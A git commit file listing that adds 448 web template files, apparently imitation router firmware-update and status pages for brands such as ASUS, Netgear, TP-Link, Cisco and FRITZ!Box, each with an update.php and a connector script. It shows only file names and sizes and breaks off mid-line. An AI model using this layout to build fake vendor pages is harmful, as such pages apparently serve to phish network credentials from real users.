Sites/Template/asus/images/favicon.png | Bin 0 -> 735 bytes Sites/Template/asus/images/proceeding_img.gif | Bin 0 -> 141 bytes Sites/Template/asus/images/quotabar.gif | Bin 0 -> 143 bytes Sites/Template/asus/index.html | 507 ++ Sites/Template/asus/js/jquery-2.1.4.min.js | 4 + Sites/Template/asus/js/pBar.js | 26 + Sites/Template/asus/update.php | 35 + Sites/Template/belkin/config/connector.php | 10 + Sites/Template/belkin/css/main_router.css | 60 + Sites/Template/belkin/css/style.css | 36 + Sites/Template/belkin/img/favicon.ico | Bin 0 -> 1217 bytes Sites/Template/belkin/img/head_logo.gif | Bin 0 -> 2139 bytes Sites/Template/belkin/img/shim.gif | Bin 0 -> 49 bytes Sites/Template/belkin/index.htm | 22 + Sites/Template/belkin/js/bootstrap-submenu.js | 1 + Sites/Template/belkin/js/bootstrap.min.js | 6 + Sites/Template/belkin/js/common.js | 1 + .../Template/belkin/js/detectmobilebrowser.js | 1 + Sites/Template/belkin/js/general.js | 1 + Sites/Template/belkin/js/jquery-1.11.0.min.js | 2 + Sites/Template/belkin/js/jquery-2.1.4.min.js | 4 + Sites/Template/belkin/js/main-include.js | 1 + Sites/Template/belkin/js/pBar.js | 26 + Sites/Template/belkin/js/script.asc | 25 + Sites/Template/belkin/setup_top.htm | 76 + Sites/Template/belkin/status.html | 386 ++ Sites/Template/belkin/update.php | 35 + Sites/Template/cisco/config/connector.php | 10 + Sites/Template/cisco/css/cues_taglib.css | 667 +++ Sites/Template/cisco/css/imgfix.css | 695 +++ Sites/Template/cisco/css/style.css | 1639 +++++++ Sites/Template/cisco/css/update.css | 38 + Sites/Template/cisco/image/BT_Disabled.jpg | Bin 0 -> 12918 bytes Sites/Template/cisco/image/BT_Hover.jpg | Bin 0 -> 19261 bytes Sites/Template/cisco/image/BT_Normal.jpg | Bin 0 -> 19151 bytes Sites/Template/cisco/image/BT_Press.jpg | Bin 0 -> 18972 bytes .../image/Cisco_Logo_RGB_67x40-black.png | Bin 0 -> 3655 bytes .../cisco/image/NavPaneGripperT_V.gif | Bin 0 -> 57 bytes .../cisco/image/ProgressBar_indeterminate.gif | Bin 0 -> 10178 bytes .../cisco/image/Status_criticalerror_icon.png | Bin 0 -> 5117 bytes .../cisco/image/Status_information_icon.png | Bin 0 -> 2361 bytes Sites/Template/cisco/image/ToolbarMain.png | Bin 0 -> 202 bytes Sites/Template/cisco/image/block_50.png | Bin 0 -> 2838 bytes .../cisco/image/cisco_logo_header.png | Bin 0 -> 3617 bytes .../cisco/image/drawerTriangleCollapsedT.gif | Bin 0 -> 111 bytes .../image/drawerTriangleOpen_Selected.png | Bin 0 -> 192 bytes Sites/Template/cisco/image/favicon.ico | Bin 0 -> 1150 bytes Sites/Template/cisco/image/small_bg.jpg | Bin 0 -> 35656 bytes Sites/Template/cisco/index.htm | 863 ++++ Sites/Template/cisco/js/common.js | 2776 +++++++++++ Sites/Template/cisco/js/func.js | 2000 ++++++++ Sites/Template/cisco/js/jquery-2.1.4.min.js | 4 + Sites/Template/cisco/js/pBar.js | 26 + Sites/Template/cisco/js/position.js | 320 ++ Sites/Template/cisco/lang_pack/EN.js | 1841 +++++++ Sites/Template/cisco/tree-asp.htm | 430 ++ Sites/Template/cisco/update.php | 35 + Sites/Template/cisco/upgrade-asp.htm | 230 + .../cisco_linksys/config/connector.php | 10 + Sites/Template/cisco_linksys/css/my_style.css | 36 + Sites/Template/cisco_linksys/css/style.css | 949 ++++ Sites/Template/cisco_linksys/image/UI_02.gif | Bin 0 -> 955 bytes .../Template/cisco_linksys/image/UI_03-1.gif | 0 .../Template/cisco_linksys/image/UI_03-2.gif | 0 Sites/Template/cisco_linksys/image/UI_03.gif | Bin 0 -> 481 bytes Sites/Template/cisco_linksys/image/UI_04.gif | Bin 0 -> 85 bytes Sites/Template/cisco_linksys/image/UI_05.gif | Bin 0 -> 962 bytes Sites/Template/cisco_linksys/image/UI_06.gif | Bin 0 -> 240 bytes Sites/Template/cisco_linksys/image/UI_07.gif | Bin 0 -> 225 bytes Sites/Template/cisco_linksys/image/UI_10.gif | Bin 0 -> 1464 bytes .../Template/cisco_linksys/image/UI_Cisco.gif | 0 .../cisco_linksys/image/alert_minor.gif | Bin 0 -> 757 bytes Sites/Template/cisco_linksys/image/blue.gif | Bin 0 -> 880 bytes .../Template/cisco_linksys/image/favicon.ico | Bin 0 -> 2840 bytes Sites/Template/cisco_linksys/image/green.gif | Bin 0 -> 880 bytes .../Template/cisco_linksys/image/logo_gn.gif | Bin 0 -> 1927 bytes .../cisco_linksys/image/rtl/UI_03.gif | Bin 0 -> 479 bytes .../cisco_linksys/image/rtl/UI_04.gif | Bin 0 -> 77 bytes .../cisco_linksys/image/rtl/UI_05.gif | Bin 0 -> 963 bytes Sites/Template/cisco_linksys/index.html | 638 +++ Sites/Template/cisco_linksys/js/common.js | 1358 ++++++ .../cisco_linksys/js/jquery-2.1.4.min.js | 4 + Sites/Template/cisco_linksys/js/pBar.js | 26 + Sites/Template/cisco_linksys/update.php | 35 + Sites/Template/digicom/config/connector.php | 10 + .../digicom/css/bootstrap-submenu.css | 1 + Sites/Template/digicom/css/bootstrap.min.css | 5 + Sites/Template/digicom/css/my_style.css | 36 + Sites/Template/digicom/css/style.css | 1 + Sites/Template/digicom/css/stylemain.css | 1 + Sites/Template/digicom/img/advsetup.png | Bin 0 -> 6756 bytes Sites/Template/digicom/img/exclamation.gif | Bin 0 -> 1052 bytes Sites/Template/digicom/img/favicon.ico | Bin 0 -> 2294 bytes Sites/Template/digicom/img/firewall.png | Bin 0 -> 10227 bytes Sites/Template/digicom/img/logo.png | Bin 0 -> 12637 bytes Sites/Template/digicom/img/netconf.png | Bin 0 -> 8414 bytes Sites/Template/digicom/img/quicksetup.png | Bin 0 -> 6171 bytes Sites/Template/digicom/img/stats.png | Bin 0 -> 7187 bytes Sites/Template/digicom/img/wireless.png | Bin 0 -> 13820 bytes Sites/Template/digicom/index.htm | 198 + .../Template/digicom/js/bootstrap-submenu.js | 1 + Sites/Template/digicom/js/bootstrap.min.js | 6 + Sites/Template/digicom/js/common.js | 1 + .../digicom/js/detectmobilebrowser.js | 1 + Sites/Template/digicom/js/general.js | 1 + .../Template/digicom/js/jquery-1.11.0.min.js | 2 + Sites/Template/digicom/js/jquery-2.1.4.min.js | 4 + Sites/Template/digicom/js/main-include.js | 1 + Sites/Template/digicom/js/pBar.js | 26 + Sites/Template/digicom/js/script.asc | 25 + Sites/Template/digicom/tools_update.html | 275 ++ Sites/Template/digicom/update.php | 35 + Sites/Template/dlink/browse.jpg | Bin 0 -> 1917 bytes Sites/Template/dlink/config/connector.php | 10 + Sites/Template/dlink/css/bsecure.css | 19 + Sites/Template/dlink/css/style.css | 1002 ++++ Sites/Template/dlink/css/substyle_DIR-655.css | 7 + Sites/Template/dlink/img_bg_masthead_red.gif | Bin 0 -> 861 bytes Sites/Template/dlink/img_masthead_red.gif | Bin 0 -> 36385 bytes Sites/Template/dlink/img_wireless_bottom.gif | Bin 0 -> 573 bytes Sites/Template/dlink/index.html | 283 ++ Sites/Template/dlink/js/jquery-2.1.4.min.js | 4 + Sites/Template/dlink/js/pBar.js | 26 + Sites/Template/dlink/update.php | 35 + Sites/Template/fritzbox/config/connector.php | 10 + .../fritzbox/css/default/images/favicon.ico | Bin 0 -> 1150 bytes .../css/default/images/icon_hilfe.png | Bin 0 -> 1237 bytes .../css/default/images/kopfbalken_links.png | Bin 0 -> 4539 bytes .../css/default/images/kopfbalken_mitte.gif | Bin 0 -> 2622 bytes .../fritzbox/css/default/images/leer.gif | Bin 0 -> 43 bytes .../css/default/images/link_closed.gif | Bin 0 -> 1544 bytes .../fritzbox/css/default/images/link_open.gif | Bin 0 -> 1545 bytes .../css/default/images/reiter_aktiv_links.gif | Bin 0 -> 197 bytes .../default/images/reiter_aktiv_rechts.gif | Bin 0 -> 325 bytes .../default/images/reiter_inaktiv_links.gif | Bin 0 -> 201 bytes .../default/images/reiter_inaktiv_rechts.gif | Bin 0 -> 357 bytes .../default/images/reiterkarte_top_1px.gif | Bin 0 -> 43 bytes .../fritzbox/css/default/images/wait.gif | Bin 0 -> 1188 bytes Sites/Template/fritzbox/css/default/main.css | 1423 ++++++ .../fritzbox/css/default/sso_dropdown.css | 51 + .../Template/fritzbox/css/default/update.css | 36 + Sites/Template/fritzbox/index.html | 236 + .../Template/fritzbox/js/jquery-2.1.4.min.js | 4 + Sites/Template/fritzbox/js/jxl.js | 718 +++ Sites/Template/fritzbox/js/pBar.js | 26 + Sites/Template/fritzbox/js/ready.js | 25 + Sites/Template/fritzbox/js/sso_dropdown.js | 54 + Sites/Template/fritzbox/update.php | 35 + Sites/Template/huawei/config/connector.php | 10 + Sites/Template/huawei/favicon.ico | Bin 0 -> 5430 bytes Sites/Template/huawei/index.html | 24 + Sites/Template/huawei/js/jquery-2.1.4.min.js | 4 + Sites/Template/huawei/js/pBar.js | 26 + Sites/Template/huawei/js/script.asc | 25 + .../Template/huawei/router_files/footer.html | 45 + .../router_files/footer_data/footer.asc | 36 + Sites/Template/huawei/router_files/logo.html | 97 + .../router_files/logo_data/helpmain.gif | Bin 0 -> 2101 bytes .../router_files/logo_data/leftblock.asc | Bin 0 -> 3856 bytes .../huawei/router_files/logo_data/logo.asc | 37 + .../huawei/router_files/logo_data/logo.gif | Bin 0 -> 2841 bytes .../huawei/router_files/logo_data/logo2.asc | Bin 0 -> 6191 bytes .../router_files/logo_data/logoback.asc | Bin 0 -> 3015 bytes .../huawei/router_files/logo_data/logout.gif | Bin 0 -> 1628 bytes .../router_files/logo_data/midblock.asc | Bin 0 -> 2967 bytes .../router_files/logo_data/rightblock.asc | Bin 0 -> 4069 bytes .../router_files/logo_data/stylemain.css | 69 + Sites/Template/huawei/router_files/menu.html | 72 + .../router_files/menu_data/adminmenu.js | 81 + .../huawei/router_files/menu_data/advance.gif | Bin 0 -> 1674 bytes .../huawei/router_files/menu_data/basic.gif | Bin 0 -> 1492 bytes .../huawei/router_files/menu_data/device.asc | 146 + .../router_files/menu_data/firstmenu.gif | Bin 0 -> 308 bytes .../huawei/router_files/menu_data/info.gif | Bin 0 -> 1677 bytes .../router_files/menu_data/maintain.gif | Bin 0 -> 1694 bytes .../huawei/router_files/menu_data/menutree.js | 262 + .../huawei/router_files/menu_data/usermenu.js | 50 + Sites/Template/huawei/router_files/tab.html | 104 + .../router_files/tab_data/clicktableft.gif | Bin 0 -> 411 bytes .../router_files/tab_data/clicktabmid.gif | Bin 0 -> 169 bytes .../router_files/tab_data/clicktabright.gif | Bin 0 -> 408 bytes .../router_files/tab_data/inittableft.gif | Bin 0 -> 126 bytes .../router_files/tab_data/inittabmid.gif | Bin 0 -> 55 bytes .../router_files/tab_data/inittabright.gif | Bin 0 -> 126 bytes .../huawei/router_files/tab_data/tabbar.gif | Bin 0 -> 64 bytes .../Template/huawei/router_files/upgrade.html | 121 + .../huawei/router_files/upgrade_data/sigh.gif | Bin 0 -> 3406 bytes .../router_files/upgrade_data/style.css | 39 + .../router_files/upgrade_data/upgrade.css | 13 + Sites/Template/huawei/update.php | 35 + Sites/Template/netgear/config/connector.php | 10 + Sites/Template/netgear/css/form.css | 27 + Sites/Template/netgear/css/help.css | 18 + Sites/Template/netgear/css/upg_upgrade.css | 38 + Sites/Template/netgear/images/darkblue.gif | Bin 0 -> 43 bytes Sites/Template/netgear/images/favicon.ico | Bin 0 -> 8348 bytes Sites/Template/netgear/images/liteblue.gif | Bin 0 -> 95 bytes Sites/Template/netgear/images/menublue.gif | Bin 0 -> 823 bytes Sites/Template/netgear/images/redbull.gif | Bin 0 -> 170 bytes Sites/Template/netgear/images/settings_v6.gif | Bin 0 -> 5788 bytes Sites/Template/netgear/images/spacer.gif | Bin 0 -> 43 bytes Sites/Template/netgear/index.htm | 27 + Sites/Template/netgear/js/func.js | 177 + Sites/Template/netgear/js/jquery-2.1.4.min.js | 4 + Sites/Template/netgear/js/pBar.js | 26 + Sites/Template/netgear/mnu_blank.htm | 12 + Sites/Template/netgear/mnu_menu.htm | 216 + Sites/Template/netgear/mnu_top.htm | 18 + Sites/Template/netgear/update.php | 35 + Sites/Template/netgear/upg_upgrade.htm | 142 + Sites/Template/netgear/upg_upgrade_h.htm | 23 + Sites/Template/netis/config/connector.php | 10 + Sites/Template/netis/css/netcore.css | 607 +++ Sites/Template/netis/css/style.css | 226 + Sites/Template/netis/css/update.css | 26 + Sites/Template/netis/css/welcome.css | 302 ++ Sites/Template/netis/images/back.gif | Bin 0 -> 211 bytes Sites/Template/netis/images/bg_leftmenu.gif | Bin 0 -> 518 bytes .../netis/images/btn_mobile_setup.jpg | Bin 0 -> 2883 bytes .../Template/netis/images/btn_quick_setup.jpg | Bin 0 -> 4183 bytes Sites/Template/netis/images/del.gif | Bin 0 -> 145 bytes Sites/Template/netis/images/edit.gif | Bin 0 -> 197 bytes Sites/Template/netis/images/favicon.ico | Bin 0 -> 4286 bytes Sites/Template/netis/images/help_b1.jpg | Bin 0 -> 451 bytes Sites/Template/netis/images/icon_jia.gif | Bin 0 -> 85 bytes Sites/Template/netis/images/icon_jian.gif | Bin 0 -> 72 bytes Sites/Template/netis/images/icon_no.gif | Bin 0 -> 73 bytes Sites/Template/netis/images/icon_now.gif | Bin 0 -> 75 bytes Sites/Template/netis/images/left_031.html | 31 + Sites/Template/netis/images/link.gif | Bin 0 -> 877 bytes Sites/Template/netis/images/logo_netis.png | Bin 0 -> 7128 bytes Sites/Template/netis/images/top_right_bg.gif | Bin 0 -> 55 bytes Sites/Template/netis/index.htm | 249 + Sites/Template/netis/js/action.js | 2774 +++++++++++ Sites/Template/netis/js/config.js | 846 ++++ Sites/Template/netis/js/debug.js | 540 +++ Sites/Template/netis/js/init.js | 17 + Sites/Template/netis/js/jquery-2.1.4.min.js | 4 + Sites/Template/netis/js/language_it.js | 993 ++++ Sites/Template/netis/js/language_us.js | 996 ++++ Sites/Template/netis/js/logic.js | 1087 +++++ Sites/Template/netis/js/menu.js | 126 + Sites/Template/netis/js/netcore.js | 4228 +++++++++++++++++ Sites/Template/netis/js/pBar.js | 26 + Sites/Template/netis/update.php | 35 + Sites/Template/sitecom/config/connector.php | 10 + Sites/Template/sitecom/css/main.css | 150 + Sites/Template/sitecom/css/style.css | 36 + Sites/Template/sitecom/download.htm | 571 +++ Sites/Template/sitecom/img/favicon.ico | Bin 0 -> 1150 bytes Sites/Template/sitecom/img/header.png | Bin 0 -> 16654 bytes Sites/Template/sitecom/img/logo.png | Bin 0 -> 8513 bytes Sites/Template/sitecom/img/seperator.png | Bin 0 -> 163 bytes Sites/Template/sitecom/index.htm | 20 + .../Template/sitecom/js/bootstrap-submenu.js | 1 + Sites/Template/sitecom/js/bootstrap.min.js | 6 + Sites/Template/sitecom/js/common.js | 1 + .../sitecom/js/detectmobilebrowser.js | 1 + Sites/Template/sitecom/js/general.js | 1 + Sites/Template/sitecom/js/getlanguage.js | 212 + .../Template/sitecom/js/jquery-1.11.0.min.js | 2 + Sites/Template/sitecom/js/jquery-2.1.4.min.js | 4 + Sites/Template/sitecom/js/main-include.js | 1 + Sites/Template/sitecom/js/pBar.js | 26 + Sites/Template/sitecom/js/script.asc | 25 + Sites/Template/sitecom/js/setlanguage.js | 10 + Sites/Template/sitecom/status.html | 72 + Sites/Template/sitecom/status_deviceinfo.html | 165 + Sites/Template/sitecom/update.php | 35 + .../Template/technicolor/config/connector.php | 10 + .../Template/technicolor/images/bull__md.gif | Bin 0 -> 86 bytes .../Template/technicolor/images/ll00__md.gif | Bin 0 -> 409 bytes Sites/Template/technicolor/images/logo.gif | Bin 0 -> 721 bytes Sites/Template/technicolor/images/menutop.gif | Bin 0 -> 129 bytes Sites/Template/technicolor/images/net_l_r.gif | Bin 0 -> 91 bytes .../Template/technicolor/images/net_l_r_d.gif | Bin 0 -> 110 bytes Sites/Template/technicolor/images/net_t_d.gif | Bin 0 -> 127 bytes .../Template/technicolor/images/net_t_d_r.gif | Bin 0 -> 133 bytes Sites/Template/technicolor/images/net_t_r.gif | Bin 0 -> 114 bytes Sites/Template/technicolor/images/spacer.gif | Bin 0 -> 43 bytes .../Template/technicolor/images/stxx__xl.gif | Bin 0 -> 1207 bytes .../Template/technicolor/images/task__md.gif | Bin 0 -> 146 bytes Sites/Template/technicolor/images/user.gif | Bin 0 -> 332 bytes Sites/Template/technicolor/index.html | 458 ++ .../technicolor/js/jquery-2.1.4.min.js | 4 + Sites/Template/technicolor/js/pBar.js | 26 + Sites/Template/technicolor/styles.css | 151 + Sites/Template/technicolor/update.php | 35 + Sites/Template/telecom/config/connector.php | 10 + Sites/Template/telecom/css/common.css | 1169 +++++ Sites/Template/telecom/css/style.css | 22 + Sites/Template/telecom/css/welcome.css | 257 + Sites/Template/telecom/favicon.ico | Bin 0 -> 15086 bytes Sites/Template/telecom/img/header.png | Bin 0 -> 14989 bytes .../telecom/img/menu_ico_advanced.png | Bin 0 -> 1948 bytes Sites/Template/telecom/img/menu_ico_basic.png | Bin 0 -> 2250 bytes Sites/Template/telecom/img/menu_ico_home.png | Bin 0 -> 1322 bytes Sites/Template/telecom/img/tools.png | Bin 0 -> 878 bytes Sites/Template/telecom/img/usb.png | Bin 0 -> 906 bytes Sites/Template/telecom/index.html | 252 + Sites/Template/telecom/js/jquery-2.1.4.min.js | 4 + Sites/Template/telecom/js/pBar.js | 26 + Sites/Template/telecom/update.php | 35 + Sites/Template/tplink/config/connector.php | 10 + Sites/Template/tplink/css/main.css | 712 +++ Sites/Template/tplink/css/update.css | 24 + Sites/Template/tplink/img/col_hide.gif | Bin 0 -> 1099 bytes Sites/Template/tplink/img/col_show.gif | Bin 0 -> 1009 bytes Sites/Template/tplink/img/icon.jpg | Bin 0 -> 1404 bytes Sites/Template/tplink/img/top1_1.jpg | Bin 0 -> 5739 bytes Sites/Template/tplink/img/top1_2.jpg | Bin 0 -> 18714 bytes Sites/Template/tplink/img/top2.jpg | Bin 0 -> 888 bytes Sites/Template/tplink/img/top_bg.jpg | Bin 0 -> 599 bytes Sites/Template/tplink/index.htm | 243 + Sites/Template/tplink/js/jquery-2.1.4.min.js | 4 + Sites/Template/tplink/js/pBar.js | 26 + Sites/Template/tplink/update.php | 35 + Sites/Template/zyxel/config/connector.php | 10 + Sites/Template/zyxel/css/dtree.css | 12 + Sites/Template/zyxel/css/inside.css | 91 + .../Template/zyxel/css/inside_main_frame.css | 101 + Sites/Template/zyxel/css/reset.css | 31 + Sites/Template/zyxel/css/table.css | 95 + Sites/Template/zyxel/css/update.css | 33 + Sites/Template/zyxel/images/advance_bg.gif | Bin 0 -> 831 bytes Sites/Template/zyxel/images/advance_logo.jpg | Bin 0 -> 1728 bytes Sites/Template/zyxel/images/air.gif | Bin 0 -> 43 bytes Sites/Template/zyxel/images/b_close.gif | Bin 0 -> 169 bytes Sites/Template/zyxel/images/b_config.gif | Bin 0 -> 764 bytes Sites/Template/zyxel/images/b_config_on.gif | Bin 0 -> 726 bytes Sites/Template/zyxel/images/b_dashboard.gif | Bin 0 -> 714 bytes .../Template/zyxel/images/b_dashboard_on.gif | Bin 0 -> 664 bytes .../zyxel/images/b_maintenance_on.gif | Bin 0 -> 701 bytes Sites/Template/zyxel/images/b_monitor.gif | Bin 0 -> 711 bytes Sites/Template/zyxel/images/b_monitor_on.gif | Bin 0 -> 653 bytes Sites/Template/zyxel/images/button_left.gif | Bin 0 -> 227 bytes Sites/Template/zyxel/images/button_right.gif | Bin 0 -> 833 bytes Sites/Template/zyxel/images/down0.gif | Bin 0 -> 121 bytes Sites/Template/zyxel/images/empty.gif | Bin 0 -> 62 bytes Sites/Template/zyxel/images/favicon.ico | Bin 0 -> 1406 bytes Sites/Template/zyxel/images/hightline.gif | Bin 0 -> 504 bytes Sites/Template/zyxel/images/i_about.gif | Bin 0 -> 59 bytes Sites/Template/zyxel/images/i_delete.gif | Bin 0 -> 226 bytes Sites/Template/zyxel/images/i_delete_on.gif | Bin 0 -> 231 bytes Sites/Template/zyxel/images/i_easy.gif | Bin 0 -> 280 bytes Sites/Template/zyxel/images/i_edit.gif | Bin 0 -> 271 bytes Sites/Template/zyxel/images/i_edit_on.gif | Bin 0 -> 275 bytes Sites/Template/zyxel/images/i_home.gif | Bin 0 -> 85 bytes Sites/Template/zyxel/images/i_info.jpg | Bin 0 -> 1445 bytes Sites/Template/zyxel/images/i_message.gif | Bin 0 -> 211 bytes Sites/Template/zyxel/images/i_path.gif | Bin 0 -> 197 bytes .../zyxel/images/i_percentage_blue.gif | Bin 0 -> 146 bytes .../zyxel/images/i_percentage_center.gif | Bin 0 -> 96 bytes Sites/Template/zyxel/images/join.gif | Bin 0 -> 57 bytes Sites/Template/zyxel/images/loading.gif | Bin 0 -> 4743 bytes Sites/Template/zyxel/images/menu_top.gif | Bin 0 -> 105 bytes Sites/Template/zyxel/images/message_bar.gif | Bin 0 -> 151 bytes Sites/Template/zyxel/images/message_bar2.gif | Bin 0 -> 152 bytes Sites/Template/zyxel/images/minusbottom.gif | Bin 0 -> 73 bytes Sites/Template/zyxel/images/plusbottom.gif | Bin 0 -> 75 bytes .../zyxel/images/popup_down_center.gif | Bin 0 -> 98 bytes .../Template/zyxel/images/popup_down_left.gif | Bin 0 -> 329 bytes .../zyxel/images/popup_down_right.gif | Bin 0 -> 331 bytes .../Template/zyxel/images/popup_main_left.gif | Bin 0 -> 68 bytes .../zyxel/images/popup_main_right.gif | Bin 0 -> 68 bytes .../zyxel/images/popup_top_center.gif | Bin 0 -> 155 bytes .../Template/zyxel/images/popup_top_left.gif | Bin 0 -> 394 bytes .../Template/zyxel/images/popup_top_right.gif | Bin 0 -> 380 bytes Sites/Template/zyxel/images/space.gif | Bin 0 -> 43 bytes Sites/Template/zyxel/images/tab_left.gif | Bin 0 -> 152 bytes Sites/Template/zyxel/images/tab_right.gif | Bin 0 -> 1026 bytes Sites/Template/zyxel/images/table_bottom.gif | Bin 0 -> 54 bytes .../zyxel/images/table_bottom_center.gif | Bin 0 -> 50 bytes .../zyxel/images/table_bottom_left.gif | Bin 0 -> 96 bytes .../zyxel/images/table_bottom_right.gif | Bin 0 -> 95 bytes .../zyxel/images/table_top_center.gif | Bin 0 -> 152 bytes .../Template/zyxel/images/table_top_left.gif | Bin 0 -> 149 bytes .../Template/zyxel/images/table_top_right.gif | Bin 0 -> 152 bytes Sites/Template/zyxel/images/title_bg.jpg | Bin 0 -> 5969 bytes Sites/Template/zyxel/index.html | 212 + Sites/Template/zyxel/js/jquery-2.1.4.min.js | 4 + Sites/Template/zyxel/js/pBar.js | 26 + Sites/Template/zyxel/js/setup.js | 44 + Sites/Template/zyxel/update.php | 35 + Sites/Template/zyxel/update_firmware.html | 151 + 448 files changed, 45444 insertions(+) create mode 100644 Sites/Template/alice/config/connector.php create mode 100644 Sites/Template/alice/css/_cpe.css create mode 100644 Sites/Template/alice/css/layout.css create mode 100644 Sites/Template/alice/css/style.css create mode 100644 Sites/Template/alice/images/buttonB0.gif create mode 100644 Sites/Template/alice/images/buttonB9.gif create mode 100644 Sites/Template/alice/images/buttonBC.gif create mode 100644 Sites/Template/alice/images/buttonBF.gif create mode 100644 Sites/Template/alice/images/buttonC2.gif create mode 100644 Sites/Template/alice/images/buttonC5.gif create mode 100644 Sites/Template/alice/images/buttonC8_agwifi.gif create mode 100644 Sites/Template/alice/images/buttonCF.gif create mode 100644 Sites/Template/alice/images/buttonD5.gif create mode 100644 Sites/Template/alice/images/buttonD8.gif create mode 100644 Sites/Template/alice/images/buttonDB.gif create mode 100644 Sites/Template/alice/images/buttonDE.gif create mode 100644 Sites/Template/alice/images/buttonE1.gif create mode 100644 Sites/Template/alice/images/buttonE4.gif create mode 100644 Sites/Template/alice/images/buttonE7.gif create mode 100644 Sites/Template/alice/images/button_7.gif create mode 100644 Sites/Template/alice/images/header_agwifi.jpg create mode 100644 Sites/Template/alice/index.html create mode 100644 Sites/Template/alice/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/alice/js/pBar.js create mode 100644 Sites/Template/alice/js/script.asc create mode 100644 Sites/Template/alice/statoApparato_data/statoApparato.html create mode 100644 Sites/Template/alice/statoApparato_data/tabelle.css create mode 100644 Sites/Template/alice/update.php create mode 100644 Sites/Template/asus/config/connector.php create mode 100644 Sites/Template/asus/css/form_style.css create mode 100644 Sites/Template/asus/css/index_style.css create mode 100644 Sites/Template/asus/css/update.css create mode 100644 Sites/Template/asus/images/New_ui/asustitle.png create mode 100644 Sites/Template/asus/images/New_ui/bottom_bg.png create mode 100644 Sites/Template/asus/images/New_ui/bottom_help.png create mode 100644 Sites/Template/asus/images/New_ui/bottom_search.png create mode 100644 Sites/Template/asus/images/New_ui/bottom_text.png create mode 100644 Sites/Template/asus/images/New_ui/btn.png create mode 100644 Sites/Template/asus/images/New_ui/btnspan.png create mode 100644 Sites/Template/asus/images/New_ui/connectstatus.png create mode 100644 Sites/Template/asus/images/New_ui/contentbt_normal.png create mode 100644 Sites/Template/asus/images/New_ui/contentbt_over.png create mode 100644 Sites/Template/asus/images/New_ui/dropdown_bt.png create mode 100644 Sites/Template/asus/images/New_ui/dropdown_btover.png create mode 100644 Sites/Template/asus/images/New_ui/export/line_export.png create mode 100644 Sites/Template/asus/images/New_ui/helpicon.png create mode 100644 Sites/Template/asus/images/New_ui/hightaba.png create mode 100644 Sites/Template/asus/images/New_ui/hightabclicka.png create mode 100644 Sites/Template/asus/images/New_ui/hightabclickspan.png create mode 100644 Sites/Template/asus/images/New_ui/hightabspan.png create mode 100644 Sites/Template/asus/images/New_ui/icon_indexes.png create mode 100644 Sites/Template/asus/images/New_ui/icon_menues.png create mode 100644 Sites/Template/asus/images/New_ui/inputbg.png create mode 100644 Sites/Template/asus/images/New_ui/mb.jpg create mode 100644 Sites/Template/asus/images/New_ui/middown_bg.png create mode 100644 Sites/Template/asus/images/New_ui/midup_bg.png create mode 100644 Sites/Template/asus/images/New_ui/multiplessidstatus.png create mode 100644 Sites/Template/asus/images/New_ui/notification.png create mode 100644 Sites/Template/asus/images/New_ui/printstatus.png create mode 100644 Sites/Template/asus/images/New_ui/re.jpg create mode 100644 Sites/Template/asus/images/New_ui/rt.jpg create mode 100644 Sites/Template/asus/images/New_ui/title_bg.png create mode 100644 Sites/Template/asus/images/New_ui/usbstatus.png create mode 100644 Sites/Template/asus/images/favicon.png create mode 100644 Sites/Template/asus/images/proceeding_img.gif create mode 100644 Sites/Template/asus/images/quotabar.gif create mode 100644 Sites/Template/asus/index.html create mode 100644 Sites/Template/asus/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/asus/js/pBar.js create mode 100644 Sites/Template/asus/update.php create mode 100644 Sites/Template/belkin/config/connector.php create mode 100644 Sites/Template/belkin/css/main_router.css create mode 100644 Sites/Template/belkin/css/style.css create mode 100644 Sites/Template/belkin/img/favicon.ico create mode 100644 Sites/Template/belkin/img/head_logo.gif create mode 100644 Sites/Template/belkin/img/shim.gif create mode 100644 Sites/Template/belkin/index.htm create mode 100644 Sites/Template/belkin/js/bootstrap-submenu.js create mode 100644 Sites/Template/belkin/js/bootstrap.min.js create mode 100644 Sites/Template/belkin/js/common.js create mode 100644 Sites/Template/belkin/js/detectmobilebrowser.js create mode 100644 Sites/Template/belkin/js/general.js create mode 100644 Sites/Template/belkin/js/jquery-1.11.0.min.js create mode 100644 Sites/Template/belkin/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/belkin/js/main-include.js create mode 100644 Sites/Template/belkin/js/pBar.js create mode 100644 Sites/Template/belkin/js/script.asc create mode 100644 Sites/Template/belkin/setup_top.htm create mode 100644 Sites/Template/belkin/status.html create mode 100644 Sites/Template/belkin/update.php create mode 100644 Sites/Template/cisco/config/connector.php create mode 100644 Sites/Template/cisco/css/cues_taglib.css create mode 100644 Sites/Template/cisco/css/imgfix.css create mode 100644 Sites/Template/cisco/css/style.css create mode 100644 Sites/Template/cisco/css/update.css create mode 100644 Sites/Template/cisco/image/BT_Disabled.jpg create mode 100644 Sites/Template/cisco/image/BT_Hover.jpg create mode 100644 Sites/Template/cisco/image/BT_Normal.jpg create mode 100644 Sites/Template/cisco/image/BT_Press.jpg create mode 100644 Sites/Template/cisco/image/Cisco_Logo_RGB_67x40-black.png create mode 100644 Sites/Template/cisco/image/NavPaneGripperT_V.gif create mode 100644 Sites/Template/cisco/image/ProgressBar_indeterminate.gif create mode 100644 Sites/Template/cisco/image/Status_criticalerror_icon.png create mode 100644 Sites/Template/cisco/image/Status_information_icon.png create mode 100644 Sites/Template/cisco/image/ToolbarMain.png create mode 100644 Sites/Template/cisco/image/block_50.png create mode 100644 Sites/Template/cisco/image/cisco_logo_header.png create mode 100644 Sites/Template/cisco/image/drawerTriangleCollapsedT.gif create mode 100644 Sites/Template/cisco/image/drawerTriangleOpen_Selected.png create mode 100644 Sites/Template/cisco/image/favicon.ico create mode 100644 Sites/Template/cisco/image/small_bg.jpg create mode 100644 Sites/Template/cisco/index.htm create mode 100644 Sites/Template/cisco/js/common.js create mode 100644 Sites/Template/cisco/js/func.js create mode 100644 Sites/Template/cisco/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/cisco/js/pBar.js create mode 100644 Sites/Template/cisco/js/position.js create mode 100644 Sites/Template/cisco/lang_pack/EN.js create mode 100644 Sites/Template/cisco/tree-asp.htm create mode 100644 Sites/Template/cisco/update.php create mode 100644 Sites/Template/cisco/upgrade-asp.htm create mode 100644 Sites/Template/cisco_linksys/config/connector.php create mode 100644 Sites/Template/cisco_linksys/css/my_style.css create mode 100644 Sites/Template/cisco_linksys/css/style.css create mode 100644 Sites/Template/cisco_linksys/image/UI_02.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_03-1.gif create mode 100644 